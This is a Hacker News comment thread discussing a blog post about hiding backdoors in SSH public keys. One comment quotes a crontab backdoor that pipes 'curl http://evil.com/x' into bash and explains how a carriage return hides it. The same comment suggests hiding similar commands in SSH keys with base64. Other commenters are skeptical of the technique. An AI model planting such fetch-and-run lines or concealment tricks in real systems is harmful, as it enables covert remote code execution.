[HN Gopher] Infecting SSH Public Keys with Backdoors
       ___________________________________________________________________
        
       Infecting SSH Public Keys with Backdoors
        
       Author : nomdep
       Score  : 16 points
       Date   : 2023-05-25 19:39 UTC (3 hours ago)
        
 (HTM) web link (blog.thc.org)
 (TXT) w3m dump (blog.thc.org)
        
       | nneonneo wrote:
       | My favorite "backdoor" was a crontab entry that looked something
       | like this:                   */3 * * * * curl http://evil.com/x |
       | bash # ^M52 6    1 * *   test -x /usr/sbin/anacron || ( cd / &&
       | run-parts --report /etc/cron.monthly )
       | 
       | The ^M was a carriage return character. `crontab -l` shows
       | nothing unusual because the ^M causes the later innocent-looking
       | entry to overwrite the actual entry. With the added obfuscation
       | of two other completely innocuous entries ("daily" and "weekly"),
       | it's not easy to spot.
       | 
       | Perhaps something similar could be done with SSH keys? Drop a ^M
       | somewhere in the command and make the rest look innocuous.
       | 
       | Also, base64-encoding the evil command would be more effective,
       | since a typical key is a pile of unreadable base64 anyway, so it
       | would blend in better.
        
       | woodruffw wrote:
       | This is a fun technique, but the branding here is a little
       | bombastic: running commands whenever a public key connects is an
       | explicitly supported feature in OpenSSH (and other SSH daemons,
       | like dropbear[1]).
       | 
       | To "exploit" this you'd need to convince someone to use it as
       | their SSH public key, and `command=...` should be a pretty big
       | giveaway; I wouldn't expect hiding the payload in a hex string to
       | confuse or trick anyone except for someone who shouldn't be
       | adding their own SSH keys to servers anyways.
       | 
       | [1]: https://linux.die.net/man/8/dropbear
        
       | kayson wrote:
       | How would this be deployed? If you already have access to the
       | users authorized-keys it seems like you'd have enough access to
       | do many other, more damaging things.
        
         | cozzyd wrote:
         | Well, for example GitHub supports ssh keys for login. I assume
         | it's not vulnerable to this, but I don't know...
        
       ___________________________________________________________________
       (page generated 2023-05-25 23:02 UTC)